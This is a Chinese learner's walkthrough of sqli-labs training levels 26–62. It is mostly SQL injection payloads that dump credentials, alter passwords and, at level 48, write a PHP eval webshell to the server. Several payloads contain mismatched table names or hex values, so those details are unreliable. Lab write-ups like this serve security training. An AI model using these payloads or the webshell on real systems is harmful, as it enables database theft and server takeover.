?id=1' || updatexml(1,concat(0x7e,(database())),1);%00
或
?id=1' || updatexml(1,concat(0x7e,(database())),1) || '1'='1
成功得到security库

//爆表名:
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))),1) || '1'='1
//0x7365637572697479是security的16进制


//爆列名:
?id=1' || updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=0x7573657273))),1) || '1'='1

第二十六关a:(空格绕过):

image-20240511215645531

看起来和二十六关差不多,

测试寻找注入点:

?id=1 		//回显
?id=1';%00		//有闭合了;
?id=1' and 1=1;%00	//报错,and无了
?id=1')%a0aandnd%a01=2%a0oorr%a0('		
//无报错,闭合有了,%a0or%a0('')

查看源码:

image-20240511220324669

image-20240511220521134

查看源码发现有单引号包裹,闭合方式是 ('') ,无法直接通过 1') (' 闭合,因为这样会多出一个 ('') 导致 sql 语法错误,和很多过滤条件过滤掉了特殊字符等,同时注释掉了报错信息。

联合注入:(将中间的所有空格用%a0做替换,同时将有存在or和and的地方做双写处理,闭合用 or ('') 将前后中间的空格和or双写后为:%a0oorr%a0()

原始语句为:

?id=1') and 1=2 union select 1,(select group_concat(username,'~',password separator 0x3c62723e) from security.users),3 or ('

//separator 0x3c62723e 是用来控制 group_concat() 函数输出结果中各个字段之间的分隔符的。意味着在输出结果中,用户名和密码之间会用换行符 <br> 分隔。
//0x3c62723e为<br>

转义和双写后payload如下:

?id=1')%a0aandnd%a01=2%a0union%a0select%a01,(select%a0group_concat(username,'~',passwoorrd%a0separatoorr%a00x3c62723e)%a0from%a0security.users),3%a0oorr%a0('

image-20240511230733482

第二十七关(union过滤):

image-20240511230830671

尝试:

id=1		//回显
id=1'-- -		//失败
id=1';%00		//有注释了

查看源码

image-20240511232404741

image-20240511232507826

image-20240511232532815

发现通过单引号进行包裹,有报错注入,同时替换掉了一堆的特殊字符,不能用联合注入

猜列数:

?id=1' order by 3;%00	//有回显,但是提示中发现空格丢失用%a0替换
?id=1' %a0 order%a0 by %a0 3;%00		//三列

联合注入:

?id=1' %a0 union%a0 select %a0 1,2,3;%00
//回显了,但是根据提示信息看union和select都没了,混合大小写绕过
?id=1' %a0 uNion%a0 sElect %a0 1,2,3;%00
//显示select和union了
//填写未知id值,进行回显
?id=666' %a0 uNion%a0 sElect %a0 1,2,3;%00
//回显2,3;在第三列进行爆库

//爆库:
?id=666'%a0uNion%a0sElect%a01,2,group_concat(schema_name)%a0from%a0information_schema.schemata;%00
//爆表:security
?id=666'%a0uNion%a0sElect%a01,2,group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=0x7365637572697479;%00
//爆字段得到用户名和密码:
?id=666'%a0uNion%a0sElect%a01,2,group_concat(username,'~',password%a0separator%a00x3c62723e)%a0from%a0security.users;%00

第二种方式报错注入:

//爆库:
?id=1'%0||updatexml(1,concat(0x7e,(SELeCt%a0schema_name%a0from%a0information_schema.schemata%a0limit%a09,1)),1)||%a0'1'='1
//爆表(通过修改limit1,1遍历所有的表信息)
?id=1'%0||updatexml(1,concat(0x7e,( SELeCt %a0table_name %a0from%a0information_schema.tables%a0where%a0table_schema=0x7365637572697479%a0limit%a01,1)),1)||%a0'1'='1

//爆字段(通过修改limit1,1遍历字段信息)
?id=1'%0||updatexml(1,concat(0x7e,(SEleCt%a0column_name%a0from%a0information_schema.columns%a0where%a0table_name=0x7573657273%a0limit%a04,1)),1)||%a0'1'='1

//爆表,通过修改limit遍历可以得到用户名密码所有的值;
?id=1'%0||updatexml(1,concat(0x7e,(SELeCt%a0concat_ws(0x7e,username,password)%a0from%a0security.users%a0limit%a01,1)),1)||%a0'1'='1

第二十七关a: (union过滤):

image-20240511230904284

寻找注入点:

id=1'		//回显,没有报错
id=1"		//无回显,但是应该报错了,只是没有报错信息,不适合报错注入和盲注
id=1"%a0||"1"=1		//回显信息,找到注入点,闭合是双引号接下来使用联合注入

查看源码:

image-20240512024506017

image-20240512024358724

查看源码发现,通过双引号闭合,没有了报错信息,同时替换掉了很多关键字为空

通过联合注入寻找列数位3位,结合大小写绕过,空格替换过滤,再输入一个不存在的id值来让页面回显回显位。payload如下:

?id=111"%0aUniOn%0asElect%0a1,2,3%0a||%0a"1"="1
//回显位为2,1

//2中注入语句,爆库信息
?id=111"%0aUniOn%0asElect%0a1,(SeleCt%0a group_concat(schema_name)%0a from%0a information_schema.schemata),3%0a||%0a"1"="1

//%0a||%0a"1"="1这里也可以偷懒写法;%00进行闭合

//爆表信息
?id=111"%0aUniOn%0asElect%0a1,(SeleCt%0a group_concat(table_name)%0a from%0a information_schema.tables%0a where%0a table_schema=0x7365637572697479),3;%00

//爆字段信息:
?id=111"%0aUniOn%0asElect%0a1,(SeleCt%0a group_concat(username,'~',password %0aseparator %0a0x3c62723e)%0a from%0a security.users),3;%00

image-20240512030019067

方法二基于时间的盲注:

?id=1"%26%26 if(length(database())>1,1,sleep(5));%00		
//页面返回响应1秒,正确说明数据库长度>1

?id=1"%26%26 if(length(database())=1,1,sleep(5));%00
//响应五秒,说明不是1

。。剩下的就是burp进行抓包后重复爆出值即可

第二十八关:(union select 过滤)

image-20240511231003302

测试寻找注入点:

id=1	//正常
id=1';%00		//错误。存在sql注入
?id=1' || '1'='1;%00		//回显正常,接下来进行注入

联合查询:

?id=1' union select 1,2,3 || '1'='1;%00	
//报错,查看提示好像是没有了空格,用%0a进行替换
?id=1'%0a union%0a select %0a 1,2,3%0a||%0a '1'='1;%00
//报错,这次直接没了union,select,可能是过滤掉了,进行大小写绕过试试
?id=1'%0a uNion%0a sElEct %0a 1,2,3%0a||%0a '1'='1;%00

查看源码:

image-20240512032105536

image-20240512031946748

查看源码可知,id进行了(‘’)包裹,同时注释掉了错误信息,对常用的和select、union都进行了替换

//通过双写绕过select和union的过滤,将;%00闭合换成('1')=('
?id=111')%0a uniounion%0a selectn %0a select%0a 1,2,3%0a||%0a('1')=('
//成功爆出回显位2,1

//爆库:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0a||%0a('1')=('
//爆表:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=0x7365637572697479),3%0a||%0a('1')=('

//爆字段:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users),3%0a||%0a('1')=('

image-20240512034940579

第二十八关a:(union select 过滤):

image-20240511231023458

image-20240512035225129

查看源码这关只过滤了 union select,比28关过滤的还少

和二十八关没区别:

//爆库:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(schema_name)%0afrom%0ainformation_schema.schemata),3%0a||%0a('1')=('
//爆表:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=0x7365637572697479),3%0a||%0a('1')=('

//爆字段:
?id=111')%0a uniounion%0a selectn %0a select%0a 1,(seLect%0agroup_concat(username,password%0aseparator%0a0x3c62723e)%0afrom%0asecurity.users),3%0a||%0a('1')=('

第二十九关(参数污染绕过):

image-20240509015238526

查看源码:

image-20240509015920898

image-20240509020009036

由源码可知,关卡对id=1进行了检测,这个简单的waf只会判断第一个id,但是没有对第二个进行检测,可以使用参数污染注入

这里测试

?id=1		//没有爆出密码

?id=1&id=1' and 1=2 union select 1,2,3%23
-- 爆出数据库列表2,3

?id=1&id=1' and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23
// 成功 爆出数据库密码(0x3c62723e是十六进制<br>,作用用来换行输出用户密码,%23就是url编码的#号,%23的作用是注释掉URL中#号后面的内容,以防止它影响到SQL注入语句的执行。)

image-20240509020141721

image-20240509022441553

第三十关(参数污染绕过):

image-20240509023325394

查看源码:

image-20240509023246174

image-20240509023302538

查看源码发现和29题差不多,只是多了”

尝试注入点:

?id=1&id=1"			//正常,没有报错,发现注入点
?id=1&id=1" and 1=2 union select 1,2,3%23
-- 爆出数据库列表2,3

?id=1&id=1" and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23

-- //爆出用户名和密码

image-20240509023906440

第三十一关(参数污染绕过):

查看源码:

image-20240509024145103

image-20240509024201426

和之前的29,30关几乎一摸一样,就是多了“)

尝试注入点:

?id=1&id=1")		//注入点
?id=1&id=1") and 1=2 union select 1,2,3%23
-- 爆出数据库列表2,3

?id=1&id=1") and 1=2 union select 1,2,(select group_concat(username,password separator 0x3c62723e) from security.users)%23

-- //爆出用户名和密码

image-20240509024545335

第三十二关(宽字节注入):

源码:

image-20240509200236625

由源码可知,用到了gbk编码,客户端(如PHP,设置了GBK编码)-> 连接层(MySQL编码处理)-> 服务端(MySQL语句执行)

在payload中增加DF是一个字节,当addslashes($username)后,就会把单引号前面增加反斜线,然而,这个反斜线的十进制编码在asci表中是92,换算成16进制是5C,那么5C和前面的DF放在一起正好是两个字节:DF5C在GBK的编码下,就会放在一起被解释为一个汉字,这样的话,反斜线后面的单引号就和前面的单引号形成了闭台。
可以看出,宽字节注入的场景要求也非常苛刻,现在的后台系统,绝大部分都是utf8的编码,很少有设置为GBK的。

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’

因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:

1、%df 吃掉 \

具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形

成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字運,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2、将 \’ 中的 \ 过滤掉

例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。

paylod:

-- 爆出数据库的用户名和密码

?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

image-20240509200651451

第三十三关(宽字节注入):

image-20240509201111469

查看源码:

image-20240509201329144

从源码可知,id过滤使用的是函数addslashes()

addslashes() 函数的作用是返回在预定义字符之前添加反斜杠的字符串。

预定义字符有:

单引号('),双引号("),反斜杠(\)

Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

三十二关也是使用了addslashes()函数,由此可知,和三十二的思路一模一样

payload:

?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

image-20240509202202168

第三十四关(POST 宽字节注入):

image-20240512035531433

源代码:

image-20240512035921585

尝试admin&admin登录,成功了,返回了正确信息

尝试使用万能密码登录:a%df\'a%df\',显示登录失败

使用burp抓包看看,

image-20240512040601008

可以看到这里的username和password用户名和密码都被转码了。

a%25df%5C%27的25去除。修改成下图的样子,再放包就可以了。

image-20240512041451595

image-20240512041551494

成功显示回显位1,2。接下来的操作就是联合注入爆库爆表爆字段就行了。可以使用burp的重放功能。

方法二:

可以将单引号的UTF-8转换成UTF-16的单引号模式

'

然后再编号码的后面写上注入语句。

第三十五关(联合注入):

?image-20240512035545566

源码:

image-20240512132632617

image-20240512124107585

通过源码发现有addslashes进行转义,用了gbk编码,id值没有进行包裹,而且有输出错误信息

?id=1		//回显正常
?id=1' -- -		//回显错误

用联合注入判断:

?id=1 union select 1,2,3
//正常回显,说明可以这样注入,3位数,输入不存在的id值来爆出回显位
?id=111 union select 1,2,3		//爆出2,3回显位

//爆库
?id=1111 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3

//爆表:
?id=1111 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3

//爆字段
?id=1111 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),3

//爆用户名和密码:
?id=1 and 1=2 union select 1,
(select group_concat(username,password separator 0x3c62723e) from security.users),3

image-20240512134913180

第三十六关(宽字节注入):

payload:

?id=1%df%27 and 1=2 union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3%23

image-20240509202516113

第三十七关(宽字节注入):

image-20240509202636247

与前几关相似,区别是post 内容用的是 mysql_real_escape_string()函数,而不是 addslashes()函数,但是原理是一样的。

payload:

案\'or 1=1#
11111

image-20240509203153603

第三十八关(堆叠注入):

image-20240509024745764

查看源码:

image-20240510015729586

查看源码发现存在,堆叠注入,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

尝试注入点:

?id=1' -- -				//回显
?id=1' and 1=2 -- -		//不回显
?id=1' or 1=2 -- -		//回显
?id=1' and 1=1-- -		//回显

尝试使用堆叠注入:

//先看看能不能回显个所有的数据库名
?id=1';select 1,2,(show databases);-- +			-- //无效
//向数据表插入id、账号、密码
?id=1';insert into users(id,username,password) values ('19','hi','I love you')-- +

//然后查看有没有新建成功
?id=19' -- -			//查询到了

image-20240510021038411

第三十九关(堆叠注入):

image-20240509024904179

image-20240510021242051

看源码和上一题一样,就是变成了数字型,不需要闭合。

payload:

//爆库:
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23

//爆表:
?id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="security") ,0x7e),3)%23

//爆用户名密码
?id=-1 union select extractvalue(1,concat(1,(select concat(username,password) from security.users limit 1,1)))%23

image-20240512000752948


第四十关(堆叠注入):

image-20240512003014574

源码:

image-20240510022600470

测试下:

?id=1               回显Dumb
?id=1'-- +          无回显
?id=1-- +           回显Dumb
?id=1"-- +          回显Dumb
?id=1''''''-- +     回显Dumb

?id=11#1            回显admin3,说明注释符都能用
?id=11--+1          回显admin3

?id=-1' union select 1,2,3--+
?id=-1" union select 1,2,3--+
?id=-1') union select 1,2,3--+


说明闭合是'),无报错信息,不能用报错注入

运用联合注入:

//爆库:
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

//爆表:
?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
//爆字段:
?id=1') and 1=2 union select 1,2,group_concat(username,'~',password separator 0x3c62723e) from security.users--+

image-20240512002153275

第四十一关(堆叠注入):

image-20240509024843390

image-20240510022447756

对比源码。和上面两题一样,就是没报错信息了

payload:

//爆库:
?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

//爆表:
?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
//爆字段:
?id=1 and 1=2 union select 1,2,group_concat(username,'~',password separator 0x3c62723e) from security.users--+

image-20240512002710024

第四十二关(POST堆叠):

image-20240509204029168

查看源码可知:

image-20240509203709822

Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录的时候,可以在密码哪里进行注入攻击。

payload

login_user=admin&login_password=`1';update users set password='1' where username='admin'%23`&mysubmit=Login

用修改后的用户名和密码进行登陆

image-20240509210018325

第四十三关(POST堆叠):

验证注入点:

login_user=admin&login_password=`1'`&mysubmit=Login

image-20240509211254283

pyload:

login_user=admin&login_password=`1');update users set password='123' where username='admin'%23`&mysubmit=Login

这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24

也可以进行万能密码绕过:1’ or 1#

login_user=admin&login_password=1' or 1#&mysubmit=Login

image-20240509214122390

第四十四关(POST堆叠):

源代码:

image-20240509231032760

image-20240509214703153

和前几关一样,但是没有报错注入的利用方法。同样也可以进行万能密码绕过

image-20240509214646480

第四十五关(POST堆叠):

源代码:

image-20240509230352138

与四十三闭合方式一致。但是少了错误注入

不演示了

image-20240509225653671

image-20240509225739461

第四十六关(sort注入或者order by排序注入):

源代码:

image-20240509231618932

image-20240509215156750

界面这里都有提示用sort()函数

尝试使用

?sort=1

image-20240509215327761

因为看到界面有错误信息,结合源代码可以尝试使用错误输入:

pyload:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +

image-20240509235717361

可以注入得到表名:emails,referers,uagents,users

爆出字段:

paylod:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="users"),0x7e),1) -- +

image-20240510000043195

成功得到user表中的用户名和密码字段

第四十七关(sort注入和order by 排序盲注入):

image-20240510002235002

和四十六关流程一样,只是多了‘’包裹:

payload:

-- 爆表名:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +

-- 爆字段得到用户名和密码:
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="users"),0x7e),1) -- +

image-20240510002537134

第四十八关(sort注入和order by 排序盲注入字符型):

测试寻找注入点:

?sort=1		-- //回显排序结果
?sort=1-- +		-- //回显排序结果
?sort=1'-- +	-- //没有
?sort=1')-- +	-- //没有
?sort=1"-- +	-- //没
?sort=1")-- +	-- //没有

所以大概猜到是字符型的,没有闭合。

我们来看源码:

image-20240510003104778

尝试报错注入:

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +	

-- //没用,所以没有报错注入的机会

可以使用布尔盲注和时间注入获取数据:

一个个使起来太麻烦了,这里直接上sqlmap

这里可以尝试是否能上传文件写入phpinfo查看下信息,注入累了,让我狠狠的进入进入你的服务器

pyload:

?sort=1 into outfile "/secenvs/sqlilabs/Less-48/fuck_you.php" lines terminated by '<?php phpinfo(); ?>'

image-20240510005324155

写个php一句话上去用蚁剑进行链接:

?sort=1 into outfile "/secenvs/sqlilabs/Less-48/fuck.php" lines terminated by '<?php eval($_POST[root]); ?>'

image-20240510005928585

image-20240510010007803

image-20240510010212974

image-20240510010446317

第四十九关(order by 排序盲注入):

(这里图片有错就是49关)

image-20240510010721866

寻找注入点:

?sort=1		-- //回显排序结果
?sort=1-- +		-- //回显排序结果
?sort=1'-- +	-- //回显排序结果
?sort=1')-- +	-- //没有
?sort=1"-- +	-- //回显排序结果
?sort=1")-- +	-- //回显排序结果

查看源码:

image-20240510011417633

和前48关差不多,就是变成了字符型的,闭合是单引号

使用闭合尝试

pyload:

?sort=1") and if(ascii(substr(database(),1,1))=115,sleep(5),0)– +

image-20240510012700024

第五十关(order by 排序堆叠注入):

image-20240510013116633

查看源码:

image-20240510013059470

和四十九关的区别是查询方式不是 mysql_query而是mysqli_multi_query

看起来像是堆叠注入,开始验证:

?sort=1		//回显排序结果
?sort=1'	//报错,可以尝试下报错注入

尝试报错注入:payload:

?sort=1 and 1=1 -- -	//回显排序结果
-- 爆表名:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1)-- +
-- 得到表名:emails,referers,uagents,users

-- 爆字段,得用户名和密码:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="users"),0x7e),1)-- +
-- 得到用户名和密码的排序回显结果

image-20240510013901896

尝试堆叠注入:payload:

?sort=1;insert into users(id,username,password) values ('18','HI','fuckyou')

image-20240510015402514

第五十一关(order by 排序堆叠注入):

image-20240510164247223

源码:

image-20240510164525312

和前几题一样,闭合方式是是单引号

payload:

?sort=1';insert into users(id,username,password) values ('20','and','me')-- -

image-20240510164206347

第五十二关(order by 排序堆叠注入):

image-20240510165020690

测试注入点:

?sort=1			//回显列表
?sort=1'		//无回显
?sort=1"		//无回显
?sort=1")		//无回显
?sort=1"))		//无回显

源码:

image-20240510165402342

和前51关一样,只是没有报错信息了,不能用错误注入

直接堆叠注入插入表信息;

?sort=1;insert into users(id,username,password) values ('22','and','me')

image-20240510164957780

第五十三关(order by 排序堆叠注入):

image-20240510165609833

看页面提示又是sort排序堆叠注入

测试注入点:

?sort=1			//回显排序信息
?sort=1'
?sort=1;%00

和五十二关一样,只是闭合方式变了

插入表:

?sort=1';insert into users(id,username,password) values ('22','and','me');%00

image-20240512141546218

源码:

image-20240512141124426

第五十四关(挑战1):

image-20240510165627859

页面的题意:

此挑战的目标是在少于 10 次尝试中仅从数据库 ('CHALLENGES') 中的随机表中转储(key密钥) 
为了好玩,每次重置时,挑战都会生成随机的表名、列名、表数据。始终保持新鲜

开始挑战:

尝试寻找sql注入的闭合点:

?id=1'			-- //失败,还有9次机会
?id=1' and 1=1-- -	
-- //是有回显,显示出登录的账号和密码了,还有8次机会,说明这里只是表和字段是随机的,那么前面的判断闭合方式、字段个数判断,回显占位应该不算到10次里面

-- 再次尝试
?id=1' and 1=1?id=1-- -		//失败,还有7次
?id=1' and 1=1?id=1'-- -		//失败,还有6次
?id=1' and 1=1?id=1' and 1=2-- -			//失败.还有5次

-- 根据前面的判断闭合的方式,再次尝试,在-- -后面加入
-- ?id=1' and 1=1-- +?-- -id=1' and 1=2-- +	  //有回显,显示账号密码了,还有4次机会
-- //猜字段数
?id=1' order by 3--+		//回显,还有三次机会
?id=1' order by 4--+		//无回显,说明只是到3,还有两次机会

//尝试联合注入
?id=1' and 1=2 union select 1,2,3--+		
//有回显2,3字段占位符

//爆库:
?id=1' and 1=2 union select 1,(database()),3--+
//爆出库名challenges


//根据库名爆表名:
?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:B3YWJTJ2P5(注意这里的表名超过10次会自动刷新重命名)

//爆字段:
?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x423359574a544a325035),3--+
//0x423359574a544a325035是十六进制的B3YWJTJ2P5
//拿到字段名称:id,sessid,secret_QPSY,tryy
//key应该就在这个secret_QPSY中(这个字段信息超过十次也会重命名)

//通过拿到的表名和字段信息结合爆出key
?id=1' and 1=2 union select 1,(select group_concat(secret_QPSY) from challenges.NPTQZFC2UR),3--+

//输入key后登录即可

image-20240512142459482

image-20240512143637365

结合源码进行分析:

image-20240512144524470

image-20240512144625808

可以看到注释掉了报错,单引号闭合等等

第五十五关(挑战2):

image-20240512143801527

和五十四关相同,唯一区别就是尝试的次数变成了14次。

id值的包裹变成了():这个多的四次的尝试估计就是用来给你试id值的包裹的

image-20240512150830303

payload如下:

-- //猜字段数
?id=1) order by 3--+		//回显
?id=1) order by 4--+		//无回显,说明只是到3,

//尝试联合注入
?id=1) and 1=2 union select 1,2,3--+		
//有回显2,3字段占位符

//爆库:
?id=1) and 1=2 union select 1,(database()),3--+
//爆出库名challenges


//根据库名爆表名:
?id=1) and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:VH3KWNYAFV(注意这里的表名超过10次会自动刷新重命名)

//爆字段:
?id=1) and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x5648334b574e59414656),3--+
//0x5648334b574e59414656是十六进制的VH3KWNYAFV
//拿到字段名称:id,sessid,secret_VLR6,tryy
//key应该就在这个secret_VLR6中(这个字段信息超过十次也会重命名)

//通过拿到的表名和字段信息结合爆出key
?id=1) and 1=2 union select 1,(select group_concat(secret_VLR6) from challenges.VH3KWNYAFV),3--+


//拿到key输入key后登录即可

image-20240512151619176

image-20240512151645685

第五十六关(挑战3):

image-20240512145034068

和前两题没区别.只是闭合方式改成了('')

payload:

-- //猜字段数
?id=1') order by 3--+		//回显
?id=1') order by 4--+		//无回显,说明只是到3

//尝试联合注入
?id=1') and 1=2 union select 1,2,3--+		

//爆库:
?id=1') and 1=2 union select 1,(database()),3--+
//爆出库名challenges


//根据库名爆表名:
?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:KYKBVCIPNE(注意这里的表名超过10次会自动刷新重命名)

//爆字段:
?id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x4b594b42564349504e45),3--+
//0x4b594b42564349504e45是十六进制的KYKBVCIPNE
//拿到字段名称:id,sessid,secret_YC3K,tryy
//key应该就在这个secret_YC3K中(这个字段信息超过十次也会重命名)

//通过拿到的表名和字段信息结合爆出key
?id=1') and 1=2 union select 1,(select group_concat(secret_YC3K) from challenges.KYKBVCIPNE),3--+


//拿到key输入key后登录即可

image-20240512153344583

image-20240512153405356

第五十七关(挑战4):

image-20240512145059794

和前几关一样,就是闭合方式变成了双引号

image-20240512153925746

payload:

-- //猜字段数
?id=1" order by 3--+		//回显
?id=1" order by 4--+		//无回显,说明只是到3

//尝试联合注入
?id=1" and 1=2 union select 1,2,3--+		

//爆库:
?id=1" and 1=2 union select 1,(database()),3--+
//爆出库名challenges


//根据库名爆表名:
?id=1" and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3--+
//拿到表名:V3FIGCZTHU(注意这里的表名超过10次会自动刷新重命名)

//爆字段:
?id=1" and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x5633464947435a544855),3--+
//0x5633464947435a544855是十六进制的V3FIGCZTHU
//拿到字段名称:id,sessid,secret_O5OQ,tryy
//key应该就在这个secret_O5OQ中(这个字段信息超过十次也会重命名)

//通过拿到的表名和字段信息结合爆出key
?id=1" and 1=2 union select 1,(select group_concat(secret_O5OQ) from challenges.V3FIGCZTHU),3--+


//拿到key输入key后登录即可

image-20240512154844395

image-20240512154919556

第五十八关(挑战5):

image-20240512145114829

输入id=1后发现尝试次数变成了五次,太少了

image-20240512155250549

用联合注入查询尝试:

?id=-1' union select 1,2,3-- -		
//虽然回显了,说明闭合没问题,但是没有回显位,说明联合注入不行

尝试报错注入:

//爆表信息
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表8Q9UF4NJ5P	(超过5次次数会重置名字)

//爆字段信息:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x504342414c5258324b58)),1);%00
//得到字段:id,sessid,secret_NHUM,tryy
//密钥在secret_NHUM中

//通过拿到的表名和字段信息结合爆出key
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_NHUM) from challenges.8Q9UF4NJ5P),0x7e),1);%00

//拿到key登录即可

image-20240512163727350

image-20240512163749083

源码:

image-20240512164054609

第五十九关(挑战6):

image-20240512145134563

和上一关一样,五次机会,失败了重置字段名和表名

尝试报错注入:

?id=1		//回显
?id=1';%00	//报错
//说明和五十八关只是闭合方式不一样.去掉了单引号

//爆表信息
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表ZQV2RZ8OIU	(超过5次次数会重置名字)

//爆字段信息:
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x5a515632525a384f4955)),1);%00
//得到字段:id,sessid,secret_P6WX,tryy
//密钥在secret_P6WX中

//通过拿到的表名和字段信息结合爆出key
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_P6WX) from challenges.ZQV2RZ8OIU),0x7e),1);%00

//拿到key登录即可

image-20240512164914213

image-20240512164938413

源码:

image-20240512165130620

可以看到id没有包裹,有报错信息,可以进行错误注入

第六十关(挑战7):

image-20240512150150340

同样五次机会,和上一关一样,只是闭合方式变成了("")

payload:

//报错注入
//爆表信息
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表E6CNSXX1ST	(超过5次次数会重置名字)

//爆字段信息:
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x4536434e535858315354)),1);%00
//得到字段:id,sessid,secret_JM1G,tryy
//密钥在secret_JM1G中

//通过拿到的表名和字段信息结合爆出key
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_JM1G) from challenges.E6CNSXX1ST),0x7e),1);%00

//拿到key登录即可

image-20240512165816093

image-20240512165839047

源码:

image-20240512165952576

第六十一关(挑战8):

image-20240512150322630

同样五次机会,和前几关一样,只是闭合方法不一样,变成了(('')),其余的都一样

直接报错注入:

//报错注入
//爆表信息
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1);%00
//得到表2BGWCJ1DNH	(超过5次次数会重置名字)

//爆字段信息:
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x32424757434a31444e48)),1);%00
//得到字段:id,sessid,secret_0FYP,tryy
//密钥在secret_0FYP中

//通过拿到的表名和字段信息结合爆出key
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_45FL) from challenges.72Q8AMIRUB),0x7e),1);%00

//拿到key登录即可

image-20240512201400494

源码:

image-20240512201857686

第六十二关(挑战9):

image-20240512150347794

看到页面尝试次数变成130次了,说明大概率是盲注

先查看源码:

image-20240512202706539

image-20240512202336867

可以看到源码中包裹的是用了('')并且注释掉了报错信息,进行了转义操作。

用延时注入可以先判断数据库的长度:

?id=1') AND if((length(database())=10),1,sleep(5)))		//challenges  的长度位5
?id=1') and if(left((select table_name from information_schema.tables where table_schema='challenges' limit 0,1)>'a',1,sleep(5))		
//判断表的第一个字符是不是比a大,然后一个个猜

不过延时注入太坑爹了,一个个试起来也很麻烦,这里介绍另外两种注入方法

第一种是抓包,修改cookies为空,再放包,这样后端没有收到cookies就可以忽略次数的限制。

第二种就是写个脚本,由于二分法大概率会超出限制,导致重置数据库表名和列

